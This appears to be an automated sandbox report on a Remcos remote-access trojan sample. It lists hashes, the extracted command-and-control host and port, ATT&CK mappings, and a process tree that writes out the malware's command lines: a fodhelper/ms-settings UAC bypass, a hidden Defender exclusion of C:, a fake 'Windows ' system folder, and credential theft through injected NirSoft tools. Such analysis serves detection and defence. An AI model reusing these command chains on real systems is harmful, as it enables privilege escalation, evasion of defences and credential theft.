remcos | b9a896f16a607e06c711f90a90f92d021d6d9c375fa4063b7ccecbecd6e43a36

Analysis

max time kernel
150s
max time network
146s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
20/07/2024, 01:08

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ea65a02541410531edf4095fb55a43869c7f807f30ee9bd8c5fe01daa78cb3d8.exe
Size 955KB
Sample240720-bharfszbjp
SHA256 ea65a02541410531edf4095fb55a43869c7f807f30ee9bd8c5fe01daa78cb3d8
MD5 2d75ac70c411e47fbde02f90a6a13d02
SHA1 4463c3b7887d149f31d222d185704b7437556962
SHA512 b4b9d3bce99ea9e53ae52e141b86007fc3c5dbae69c77aef984cb657e2b345506cc06de3f5e82450aa9e5e5386038ad6c855647617f49607e686dea93cd7ea8c
SSDEEP 24576:HxItbLdW8uG3DkSbvbWpR+Ys7EUb5400:Hxwbw7p0YKEU540
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

remcos remotehost collection persistence rat

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

127.0.0.1:52121
officerem.duckdns.org:52121

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-UNX1LL
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Detected Nirsoft tools 3 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral2/memory/4924-99-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft
behavioral2/memory/2252-106-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral2/memory/2268-100-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/2268-100-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/4924-99-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3419463127-3903270268-2580331543-1000\Control Panel\International\Geo\Nation	qvzwuszV.pif
Key value queried	\REGISTRY\USER\S-1-5-21-3419463127-3903270268-2580331543-1000\Control Panel\International\Geo\Nation	per.exe

Executes dropped EXE 20 IoCs

pid	Process
4428	qvzwuszV.pif
1144	alpha.exe
3852	alpha.exe
4920	alpha.exe
3888	alpha.exe
2404	alpha.exe
3732	alpha.exe
1304	xkn.exe
2920	alpha.exe
4444	ger.exe
4996	per.exe
3696	alpha.exe
4596	alpha.exe
4920	alpha.exe
2712	alpha.exe
2452	alpha.exe
3888	alpha.exe
312	alpha.exe
4980	alpha.exe
3036	alpha.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3419463127-3903270268-2580331543-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	colorcpl.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3419463127-3903270268-2580331543-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Vzsuwzvq = "C:\\Users\\Public\\Vzsuwzvq.url"	ea65a02541410531edf4095fb55a43869c7f807f30ee9bd8c5fe01daa78cb3d8.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 3600 set thread context of 4428	3600	ea65a02541410531edf4095fb55a43869c7f807f30ee9bd8c5fe01daa78cb3d8.exe	94
PID 4316 set thread context of 4924	4316	colorcpl.exe	133
PID 4316 set thread context of 2268	4316	colorcpl.exe	134
PID 4316 set thread context of 2252	4316	colorcpl.exe	135

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Kills process with taskkill 1 IoCs

evasion

pid	Process
720	taskkill.exe

Modifies registry class 5 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3419463127-3903270268-2580331543-1000_Classes\ms-settings\shell\open\command	ger.exe
Key created	\REGISTRY\USER\S-1-5-21-3419463127-3903270268-2580331543-1000_Classes\ms-settings	ger.exe
Key created	\REGISTRY\USER\S-1-5-21-3419463127-3903270268-2580331543-1000_Classes\ms-settings\shell	ger.exe
Key created	\REGISTRY\USER\S-1-5-21-3419463127-3903270268-2580331543-1000_Classes\ms-settings\shell\open	ger.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3419463127-3903270268-2580331543-1000_Classes\ms-settings\shell\open\command\ = "C:\\\\Users\\\\Public\\\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\""	ger.exe

Modifies system certificate store 2 TTPs 3 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	xkn.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	xkn.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef453000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	xkn.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2384	PING.EXE

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	25	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
1304	xkn.exe
1304	xkn.exe
1304	xkn.exe
3600	ea65a02541410531edf4095fb55a43869c7f807f30ee9bd8c5fe01daa78cb3d8.exe
3600	ea65a02541410531edf4095fb55a43869c7f807f30ee9bd8c5fe01daa78cb3d8.exe
4924	colorcpl.exe
4924	colorcpl.exe
2252	colorcpl.exe
2252	colorcpl.exe
4924	colorcpl.exe
4924	colorcpl.exe

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
4316	colorcpl.exe
4316	colorcpl.exe
4316	colorcpl.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1304	xkn.exe
Token: SeDebugPrivilege	720	taskkill.exe
Token: SeDebugPrivilege	2252	colorcpl.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3600 wrote to memory of 4428	3600	ea65a02541410531edf4095fb55a43869c7f807f30ee9bd8c5fe01daa78cb3d8.exe	94
PID 3600 wrote to memory of 4428	3600	ea65a02541410531edf4095fb55a43869c7f807f30ee9bd8c5fe01daa78cb3d8.exe	94
PID 3600 wrote to memory of 4428	3600	ea65a02541410531edf4095fb55a43869c7f807f30ee9bd8c5fe01daa78cb3d8.exe	94
PID 3600 wrote to memory of 4428	3600	ea65a02541410531edf4095fb55a43869c7f807f30ee9bd8c5fe01daa78cb3d8.exe	94
PID 3600 wrote to memory of 4428	3600	ea65a02541410531edf4095fb55a43869c7f807f30ee9bd8c5fe01daa78cb3d8.exe	94
PID 4428 wrote to memory of 2380	4428	qvzwuszV.pif	95
PID 4428 wrote to memory of 2380	4428	qvzwuszV.pif	95
PID 2380 wrote to memory of 3264	2380	cmd.exe	99
PID 2380 wrote to memory of 3264	2380	cmd.exe	99
PID 2380 wrote to memory of 1144	2380	cmd.exe	100
PID 2380 wrote to memory of 1144	2380	cmd.exe	100
PID 2380 wrote to memory of 3852	2380	cmd.exe	101
PID 2380 wrote to memory of 3852	2380	cmd.exe	101
PID 2380 wrote to memory of 4920	2380	cmd.exe	102
PID 2380 wrote to memory of 4920	2380	cmd.exe	102
PID 4920 wrote to memory of 2356	4920	alpha.exe	103
PID 4920 wrote to memory of 2356	4920	alpha.exe	103
PID 2380 wrote to memory of 3888	2380	cmd.exe	104
PID 2380 wrote to memory of 3888	2380	cmd.exe	104
PID 3888 wrote to memory of 60	3888	alpha.exe	105
PID 3888 wrote to memory of 60	3888	alpha.exe	105
PID 2380 wrote to memory of 2404	2380	cmd.exe	106
PID 2380 wrote to memory of 2404	2380	cmd.exe	106
PID 2404 wrote to memory of 4980	2404	alpha.exe	107
PID 2404 wrote to memory of 4980	2404	alpha.exe	107
PID 2380 wrote to memory of 3732	2380	cmd.exe	108
PID 2380 wrote to memory of 3732	2380	cmd.exe	108
PID 3732 wrote to memory of 1304	3732	alpha.exe	109
PID 3732 wrote to memory of 1304	3732	alpha.exe	109
PID 1304 wrote to memory of 2920	1304	xkn.exe	110
PID 1304 wrote to memory of 2920	1304	xkn.exe	110
PID 2920 wrote to memory of 4444	2920	alpha.exe	111
PID 2920 wrote to memory of 4444	2920	alpha.exe	111
PID 2380 wrote to memory of 4996	2380	cmd.exe	112
PID 2380 wrote to memory of 4996	2380	cmd.exe	112
PID 2380 wrote to memory of 3696	2380	cmd.exe	118
PID 2380 wrote to memory of 3696	2380	cmd.exe	118
PID 3696 wrote to memory of 720	3696	alpha.exe	120
PID 3696 wrote to memory of 720	3696	alpha.exe	120
PID 2380 wrote to memory of 4596	2380	cmd.exe	122
PID 2380 wrote to memory of 4596	2380	cmd.exe	122
PID 4596 wrote to memory of 2384	4596	alpha.exe	123
PID 4596 wrote to memory of 2384	4596	alpha.exe	123
PID 2380 wrote to memory of 4920	2380	cmd.exe	124
PID 2380 wrote to memory of 4920	2380	cmd.exe	124
PID 2380 wrote to memory of 2712	2380	cmd.exe	125
PID 2380 wrote to memory of 2712	2380	cmd.exe	125
PID 2380 wrote to memory of 2452	2380	cmd.exe	126
PID 2380 wrote to memory of 2452	2380	cmd.exe	126
PID 2380 wrote to memory of 3888	2380	cmd.exe	127
PID 2380 wrote to memory of 3888	2380	cmd.exe	127
PID 2380 wrote to memory of 312	2380	cmd.exe	128
PID 2380 wrote to memory of 312	2380	cmd.exe	128
PID 2380 wrote to memory of 4980	2380	cmd.exe	129
PID 2380 wrote to memory of 4980	2380	cmd.exe	129
PID 2380 wrote to memory of 3036	2380	cmd.exe	130
PID 2380 wrote to memory of 3036	2380	cmd.exe	130
PID 3600 wrote to memory of 1744	3600	ea65a02541410531edf4095fb55a43869c7f807f30ee9bd8c5fe01daa78cb3d8.exe	131
PID 3600 wrote to memory of 1744	3600	ea65a02541410531edf4095fb55a43869c7f807f30ee9bd8c5fe01daa78cb3d8.exe	131
PID 3600 wrote to memory of 1744	3600	ea65a02541410531edf4095fb55a43869c7f807f30ee9bd8c5fe01daa78cb3d8.exe	131
PID 3600 wrote to memory of 4316	3600	ea65a02541410531edf4095fb55a43869c7f807f30ee9bd8c5fe01daa78cb3d8.exe	132
PID 3600 wrote to memory of 4316	3600	ea65a02541410531edf4095fb55a43869c7f807f30ee9bd8c5fe01daa78cb3d8.exe	132
PID 3600 wrote to memory of 4316	3600	ea65a02541410531edf4095fb55a43869c7f807f30ee9bd8c5fe01daa78cb3d8.exe	132
PID 3600 wrote to memory of 4316	3600	ea65a02541410531edf4095fb55a43869c7f807f30ee9bd8c5fe01daa78cb3d8.exe	132

C:\Users\Admin\AppData\Local\Temp\ea65a02541410531edf4095fb55a43869c7f807f30ee9bd8c5fe01daa78cb3d8.exe
"C:\Users\Admin\AppData\Local\Temp\ea65a02541410531edf4095fb55a43869c7f807f30ee9bd8c5fe01daa78cb3d8.exe"
1⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3600
- C:\Users\Public\Libraries\qvzwuszV.pif
  C:\Users\Public\Libraries\qvzwuszV.pif
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4428
- - C:\Windows\system32\cmd.exe
    "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\3256.tmp\3257.tmp\3258.bat C:\Users\Public\Libraries\qvzwuszV.pif"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2380
  - - C:\Windows\System32\extrac32.exe
      C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
      4⤵
      PID:3264
  - - C:\Users\Public\alpha.exe
      C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "
      4⤵
      Executes dropped EXE
      PID:1144
  - - C:\Users\Public\alpha.exe
      C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"
      4⤵
      Executes dropped EXE
      PID:3852
  - - C:\Users\Public\alpha.exe
      C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:4920
    - - C:\Windows\system32\extrac32.exe
        
        extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
        5⤵
        
        PID:2356
  - - C:\Users\Public\alpha.exe
      C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:3888
    - - C:\Windows\system32\extrac32.exe
        
        extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
        5⤵
        
        PID:60
  - - C:\Users\Public\alpha.exe
      C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:2404
    - - C:\Windows\system32\extrac32.exe
        
        extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
        5⤵
        
        PID:4980
  - - C:\Users\Public\alpha.exe
      C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:3732
    - - C:\Users\Public\xkn.exe
        
        C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
        5⤵
        Executes dropped EXE
        Modifies system certificate store
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1304
      - C:\Users\Public\alpha.exe
        
        "C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
        6⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:2920
        
        C:\Users\Public\ger.exe
        
        C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
        7⤵
        Executes dropped EXE
        Modifies registry class
        
        PID:4444
  - - C:\Windows \System32\per.exe
      "C:\\Windows \\System32\\per.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      PID:4996
  - - C:\Users\Public\alpha.exe
      C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:3696
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM SystemSettings.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:720
  - - C:\Users\Public\alpha.exe
      C:\\Users\\Public\\alpha /c ping 127.0.0.1 -n 2
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:4596
    - - C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 2
        5⤵
        Runs ping.exe
        
        PID:2384
  - - C:\Users\Public\alpha.exe
      C:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"
      4⤵
      Executes dropped EXE
      PID:4920
  - - C:\Users\Public\alpha.exe
      C:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"
      4⤵
      Executes dropped EXE
      PID:2712
  - - C:\Users\Public\alpha.exe
      C:\\Users\\Public\\alpha /c rmdir "C:\Windows \"
      4⤵
      Executes dropped EXE
      PID:2452
  - - C:\Users\Public\alpha.exe
      C:\\Users\\Public\\alpha /c del /q "C:\\Windows \\System32\\per.exe" / A / F / Q / S
      4⤵
      Executes dropped EXE
      PID:3888
  - - C:\Users\Public\alpha.exe
      C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S
      4⤵
      Executes dropped EXE
      PID:312
  - - C:\Users\Public\alpha.exe
      C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S
      4⤵
      Executes dropped EXE
      PID:4980
  - - C:\Users\Public\alpha.exe
      C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\xkn.exe" / A / F / Q / S
      4⤵
      Executes dropped EXE
      PID:3036
- C:\Windows\SysWOW64\extrac32.exe
  C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Admin\AppData\Local\Temp\ea65a02541410531edf4095fb55a43869c7f807f30ee9bd8c5fe01daa78cb3d8.exe C:\\Users\\Public\\Libraries\\Vzsuwzvq.PIF
  2⤵
  PID:1744
- C:\Windows\SysWOW64\colorcpl.exe
  C:\Windows\System32\colorcpl.exe
  2⤵
  - Suspicious use of SetThreadContext
  - Suspicious behavior: MapViewOfSection
  PID:4316
- - C:\Windows\SysWOW64\colorcpl.exe
    C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\oupqgsdhwcdenuajggajdkmhzgzsjg"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4924
- - C:\Windows\SysWOW64\colorcpl.exe
    C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\qwuihkoiskvjpawnxrnlopgqiuqacrjtt"
    3⤵
    - Accesses Microsoft Outlook accounts
    PID:2268
- - C:\Windows\SysWOW64\colorcpl.exe
    C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\brabi"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2252

C:\Windows\system32\SystemSettingsAdminFlows.exe
"C:\Windows\system32\SystemSettingsAdminFlows.exe" OptionalFeaturesAdminHelper
1⤵
PID:1956

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

logs.dat

Path C:\ProgramData\remcos\logs.dat
Size 146B
SHA256 bafe0da0d2cb15794554a9e9dea529a9726f4d05ed97bb401ab778e8e8e66d0a
MD5 fce8ca0d3e572b7af0d47290234ec810
SHA1 f4d1d40878b311fc1fffdec8e6053784ce7e9cc5
SHA512 6ab408af56102c902da9036e1d14ca0f28ac24d353e52175357b5252de36de8485421f26c9c2952d073adb2bd56dfb9200505d639668380963b54816612651a4
MD5 SHA1 SHA512

Submit Download

3258.bat

Path C:\Users\Admin\AppData\Local\Temp\3256.tmp\3257.tmp\3258.bat
Size 1KB
SHA256 06bee225a830ea0e67b91fd7d24280c5315ef82049b25b07c9cfde4e36a639ff
MD5 e62f427202d3e5a3ba60ebe78567918c
SHA1 6ef0cd5ba6c871815fceb27ff095a7931452b334
SHA512 e15148ba4099f3b8c73319be32a5f76226d21e7fb90123bec68e5106d03b7d3e8af8caa0421667920967e8921787ba255dc4bf23d35792bf8e9a20f1e18283c6
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_h5drhout.vmb.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_h5drhout.vmb.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

oupqgsdhwcdenuajggajdkmhzgzsjg

Path C:\Users\Admin\AppData\Local\Temp\oupqgsdhwcdenuajggajdkmhzgzsjg
Size 4KB
SHA256 9e347aa1a363532c72d7728abe1afdc48b9418fae8cbf8bcbc50c9c22dfefa57
MD5 60e30555becdb968406edb87fff512ef
SHA1 65551417f6371c40e6d5dab38fe87ab634f9446e
SHA512 cbe1aebf171b54f481028208aa85fb04145cc40772cc30e67107caa5cc70c73f274da362766f125093c1fab1416c687744e53e0f7c30b6ead866c6f6ba671449
SSDEEP 48:wvvv0QTxfvvcQTxfdvv0QTxBvv0QTxakvv0QT7:mvlxvdp1vlPvlbvl7
MD5 SHA1 SHA512 SSDEEP

Submit Download

qvzwuszV.pif

Path C:\Users\Public\Libraries\qvzwuszV.pif
Size 66KB
SHA256 7bcdc2e607abc65ef93afd009c3048970d9e8d1c2a18fc571562396b13ebb301
MD5 c116d3604ceafe7057d77ff27552c215
SHA1 452b14432fb5758b46f2897aeccd89f7c82a727d
SHA512 9202a00eeaf4c5be94de32fd41bfea40fc32d368955d49b7bad2b5c23c4ebc92dccb37d99f5a14e53ad674b63f1baa6efb1feb27225c86693ead3262a26d66c6
SSDEEP 1536:lR2rJpByeL+39Ua1ITgA8wpuO5CU4GGMGcT4idU:lR2lg9Ua1egkCU60U
MD5 SHA1 SHA512 SSDEEP

Submit Download

alpha.exe

Path C:\Users\Public\alpha.exe
Size 283KB
